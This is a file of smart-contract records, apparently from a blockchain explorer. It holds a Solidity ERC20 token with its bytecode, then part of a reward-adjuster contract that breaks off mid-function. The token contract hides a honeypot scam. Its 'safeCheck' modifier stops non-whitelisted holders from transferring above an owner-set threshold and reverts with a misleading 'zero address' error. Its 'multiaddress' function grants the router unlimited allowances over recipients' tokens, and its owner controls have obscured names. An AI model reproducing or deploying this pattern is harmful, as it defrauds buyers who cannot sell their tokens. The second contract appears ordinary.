require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_LPOOL(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220efef5347572714e6d70a0aec92ac55b930a1b2dd1def75d6d29454f6665bbd8a64736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 5,359 |
0xa937a6da2837dcc91eb19657b051504c0d512a35
|
pragma solidity 0.6.7;
abstract contract StabilityFeeTreasuryLike {
function getAllowance(address) virtual public view returns (uint256, uint256);
function setPerBlockAllowance(address, uint256) virtual external;
}
abstract contract TreasuryFundableLike {
function authorizedAccounts(address) virtual public view returns (uint256);
function baseUpdateCallerReward() virtual public view returns (uint256);
function maxUpdateCallerReward() virtual public view returns (uint256);
function modifyParameters(bytes32, uint256) virtual external;
}
abstract contract TreasuryParamAdjusterLike {
function adjustMaxReward(address receiver, bytes4 targetFunctionSignature, uint256 newMaxReward) virtual external;
}
abstract contract OracleLike {
function read() virtual external view returns (uint256);
}
abstract contract OracleRelayerLike {
function redemptionPrice() virtual public returns (uint256);
}
contract MinMaxRewardsAdjuster {
// --- Auth ---
mapping (address => uint) public authorizedAccounts;
/**
* @notice Add auth to an account
* @param account Account to add auth to
*/
function addAuthorization(address account) external isAuthorized {
authorizedAccounts[account] = 1;
emit AddAuthorization(account);
}
/**
* @notice Remove auth from an account
* @param account Account to remove auth from
*/
function removeAuthorization(address account) external isAuthorized {
authorizedAccounts[account] = 0;
emit RemoveAuthorization(account);
}
/**
* @notice Checks whether msg.sender can call an authed function
**/
modifier isAuthorized {
require(authorizedAccounts[msg.sender] == 1, "MinMaxRewardsAdjuster/account-not-authorized");
_;
}
// --- Structs ---
struct FundingReceiver {
// Last timestamp when the funding receiver data was updated
uint256 lastUpdateTime; // [unix timestamp]
// Gas amount used to execute this funded function
uint256 gasAmountForExecution; // [gas amount]
// Delay between two calls to recompute the fees for this funded function
uint256 updateDelay; // [seconds]
// Multiplier applied to the computed base reward
uint256 baseRewardMultiplier; // [hundred]
// Multiplied applied to the computed max reward
uint256 maxRewardMultiplier; // [hundred]
}
// --- Variables ---
// Data about funding receivers
mapping(address => mapping(bytes4 => FundingReceiver)) public fundingReceivers;
// The gas price oracle
OracleLike public gasPriceOracle;
// The ETH oracle
OracleLike public ethPriceOracle;
// The contract that adjusts SF treasury parameters and needs to be updated with max rewards for each funding receiver
TreasuryParamAdjusterLike public treasuryParamAdjuster;
// The oracle relayer contract
OracleRelayerLike public oracleRelayer;
// The SF treasury contract
StabilityFeeTreasuryLike public treasury;
// --- Events ---
event AddAuthorization(address account);
event RemoveAuthorization(address account);
event ModifyParameters(bytes32 parameter, address addr);
event ModifyParameters(address receiver, bytes4 targetFunction, bytes32 parameter, uint256 val);
event AddFundingReceiver(
address indexed receiver,
bytes4 targetFunctionSignature,
uint256 updateDelay,
uint256 gasAmountForExecution,
uint256 baseRewardMultiplier,
uint256 maxRewardMultiplier
);
event RemoveFundingReceiver(address indexed receiver, bytes4 targetFunctionSignature);
event RecomputedRewards(address receiver, uint256 newBaseReward, uint256 newMaxReward);
constructor(
address oracleRelayer_,
address treasury_,
address gasPriceOracle_,
address ethPriceOracle_,
address treasuryParamAdjuster_
) public {
// Checks
require(oracleRelayer_ != address(0), "MinMaxRewardsAdjuster/null-oracle-relayer");
require(treasury_ != address(0), "MinMaxRewardsAdjuster/null-treasury");
require(gasPriceOracle_ != address(0), "MinMaxRewardsAdjuster/null-gas-oracle");
require(ethPriceOracle_ != address(0), "MinMaxRewardsAdjuster/null-eth-oracle");
require(treasuryParamAdjuster_ != address(0), "MinMaxRewardsAdjuster/null-treasury-adjuster");
authorizedAccounts[msg.sender] = 1;
// Store
oracleRelayer = OracleRelayerLike(oracleRelayer_);
treasury = StabilityFeeTreasuryLike(treasury_);
gasPriceOracle = OracleLike(gasPriceOracle_);
ethPriceOracle = OracleLike(ethPriceOracle_);
treasuryParamAdjuster = TreasuryParamAdjusterLike(treasuryParamAdjuster_);
// Check that the oracle relayer has a redemption price stored
oracleRelayer.redemptionPrice();
// Emit events
emit ModifyParameters("treasury", treasury_);
emit ModifyParameters("oracleRelayer", oracleRelayer_);
emit ModifyParameters("gasPriceOracle", gasPriceOracle_);
emit ModifyParameters("ethPriceOracle", ethPriceOracle_);
emit ModifyParameters("treasuryParamAdjuster", treasuryParamAdjuster_);
}
// --- Boolean Logic ---
function both(bool x, bool y) internal pure returns (bool z) {
assembly{ z := and(x, y)}
}
// --- Math ---
uint256 public constant WAD = 10**18;
uint256 public constant RAY = 10**27;
uint256 public constant HUNDRED = 100;
uint256 public constant THOUSAND = 1000;
function addition(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, "MinMaxRewardsAdjuster/add-uint-uint-overflow");
}
function subtract(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "MinMaxRewardsAdjuster/sub-uint-uint-underflow");
}
function multiply(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, "MinMaxRewardsAdjuster/multiply-uint-uint-overflow");
}
function divide(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y > 0, "MinMaxRewardsAdjuster/div-y-null");
z = x / y;
require(z <= x, "MinMaxRewardsAdjuster/div-invalid");
}
// --- Administration ---
/*
* @notify Update the address of a contract that this adjuster is connected to
* @param parameter The name of the contract to update the address for
* @param addr The new contract address
*/
function modifyParameters(bytes32 parameter, address addr) external isAuthorized {
require(addr != address(0), "MinMaxRewardsAdjuster/null-address");
if (parameter == "oracleRelayer") {
oracleRelayer = OracleRelayerLike(addr);
oracleRelayer.redemptionPrice();
}
else if (parameter == "treasury") {
treasury = StabilityFeeTreasuryLike(addr);
}
else if (parameter == "gasPriceOracle") {
gasPriceOracle = OracleLike(addr);
}
else if (parameter == "ethPriceOracle") {
ethPriceOracle = OracleLike(addr);
}
else if (parameter == "treasuryParamAdjuster") {
treasuryParamAdjuster = TreasuryParamAdjusterLike(addr);
}
else revert("MinMaxRewardsAdjuster/modify-unrecognized-params");
emit ModifyParameters(parameter, addr);
}
/*
* @notify Change a parameter for a funding receiver
* @param receiver The address of the funding receiver
* @param targetFunction The function whose callers receive funding for calling
* @param parameter The name of the parameter to change
* @param val The new parameter value
*/
function modifyParameters(address receiver, bytes4 targetFunction, bytes32 parameter, uint256 val) external isAuthorized {
require(val > 0, "MinMaxRewardsAdjuster/null-value");
FundingReceiver storage fundingReceiver = fundingReceivers[receiver][targetFunction];
require(fundingReceiver.lastUpdateTime > 0, "MinMaxRewardsAdjuster/non-existent-receiver");
if (parameter == "gasAmountForExecution") {
require(val < block.gaslimit, "MinMaxRewardsAdjuster/invalid-gas-amount-for-exec");
fundingReceiver.gasAmountForExecution = val;
}
else if (parameter == "updateDelay") {
fundingReceiver.updateDelay = val;
}
else if (parameter == "baseRewardMultiplier") {
require(both(val >= HUNDRED, val <= THOUSAND), "MinMaxRewardsAdjuster/invalid-base-reward-multiplier");
require(val <= fundingReceiver.maxRewardMultiplier, "MinMaxRewardsAdjuster/max-mul-smaller-than-min-mul");
fundingReceiver.baseRewardMultiplier = val;
}
else if (parameter == "maxRewardMultiplier") {
require(both(val >= HUNDRED, val <= THOUSAND), "MinMaxRewardsAdjuster/invalid-max-reward-multiplier");
require(val >= fundingReceiver.baseRewardMultiplier, "MinMaxRewardsAdjuster/max-mul-smaller-than-min-mul");
fundingReceiver.maxRewardMultiplier = val;
}
else revert("MinMaxRewardsAdjuster/modify-unrecognized-params");
emit ModifyParameters(receiver, targetFunction, parameter, val);
}
/*
* @notify Add a new funding receiver
* @param receiver The funding receiver address
* @param targetFunctionSignature The signature of the function whose callers get funding
* @param updateDelay The update delay between two consecutive calls that update the base and max rewards for this receiver
* @param gasAmountForExecution The gas amount spent calling the function with signature targetFunctionSignature
* @param baseRewardMultiplier Multiplier applied to the computed base reward
* @param maxRewardMultiplier Multiplied applied to the computed max reward
*/
function addFundingReceiver(
address receiver,
bytes4 targetFunctionSignature,
uint256 updateDelay,
uint256 gasAmountForExecution,
uint256 baseRewardMultiplier,
uint256 maxRewardMultiplier
) external isAuthorized {
// Checks
require(receiver != address(0), "MinMaxRewardsAdjuster/null-receiver");
require(updateDelay > 0, "MinMaxRewardsAdjuster/null-update-delay");
require(both(baseRewardMultiplier >= HUNDRED, baseRewardMultiplier <= THOUSAND), "MinMaxRewardsAdjuster/invalid-base-reward-multiplier");
require(both(maxRewardMultiplier >= HUNDRED, maxRewardMultiplier <= THOUSAND), "MinMaxRewardsAdjuster/invalid-max-reward-multiplier");
require(maxRewardMultiplier >= baseRewardMultiplier, "MinMaxRewardsAdjuster/max-mul-smaller-than-min-mul");
require(gasAmountForExecution > 0, "MinMaxRewardsAdjuster/null-gas-amount");
require(gasAmountForExecution < block.gaslimit, "MinMaxRewardsAdjuster/large-gas-amount-for-exec");
// Check that the receiver hasn't been already added
FundingReceiver storage newReceiver = fundingReceivers[receiver][targetFunctionSignature];
require(newReceiver.lastUpdateTime == 0, "MinMaxRewardsAdjuster/receiver-already-added");
// Add the receiver's data
newReceiver.lastUpdateTime = now;
newReceiver.updateDelay = updateDelay;
newReceiver.gasAmountForExecution = gasAmountForExecution;
newReceiver.baseRewardMultiplier = baseRewardMultiplier;
newReceiver.maxRewardMultiplier = maxRewardMultiplier;
emit AddFundingReceiver(
receiver,
targetFunctionSignature,
updateDelay,
gasAmountForExecution,
baseRewardMultiplier,
maxRewardMultiplier
);
}
/*
* @notify Remove an already added funding receiver
* @param receiver The funding receiver address
* @param targetFunctionSignature The signature of the function whose callers get funding
*/
function removeFundingReceiver(address receiver, bytes4 targetFunctionSignature) external isAuthorized {
// Check that the receiver is still stored and then delete it
require(fundingReceivers[receiver][targetFunctionSignature].lastUpdateTime > 0, "MinMaxRewardsAdjuster/non-existent-receiver");
delete(fundingReceivers[receiver][targetFunctionSignature]);
emit RemoveFundingReceiver(receiver, targetFunctionSignature);
}
// --- Core Logic ---
/*
* @notify Recompute the base and max rewards for a specific funding receiver with a specific function offering funding
* @param receiver The funding receiver address
* @param targetFunctionSignature The signature of the function whose callers get funding
*/
function recomputeRewards(address receiver, bytes4 targetFunctionSignature) external {
FundingReceiver storage targetReceiver = fundingReceivers[receiver][targetFunctionSignature];
require(both(targetReceiver.lastUpdateTime > 0, addition(targetReceiver.lastUpdateTime, targetReceiver.updateDelay) <= now), "MinMaxRewardsAdjuster/wait-more");
// Update last time
targetReceiver.lastUpdateTime = now;
// Read the gas and the ETH prices
uint256 gasPrice = gasPriceOracle.read();
uint256 ethPrice = ethPriceOracle.read();
// Calculate the base fiat value
uint256 baseRewardFiatValue = divide(multiply(multiply(gasPrice, targetReceiver.gasAmountForExecution), WAD), ethPrice);
// Calculate the base reward expressed in system coins
uint256 newBaseReward = divide(multiply(baseRewardFiatValue, RAY), oracleRelayer.redemptionPrice());
newBaseReward = divide(multiply(newBaseReward, targetReceiver.baseRewardMultiplier), HUNDRED);
// Compute the new max reward and check both rewards
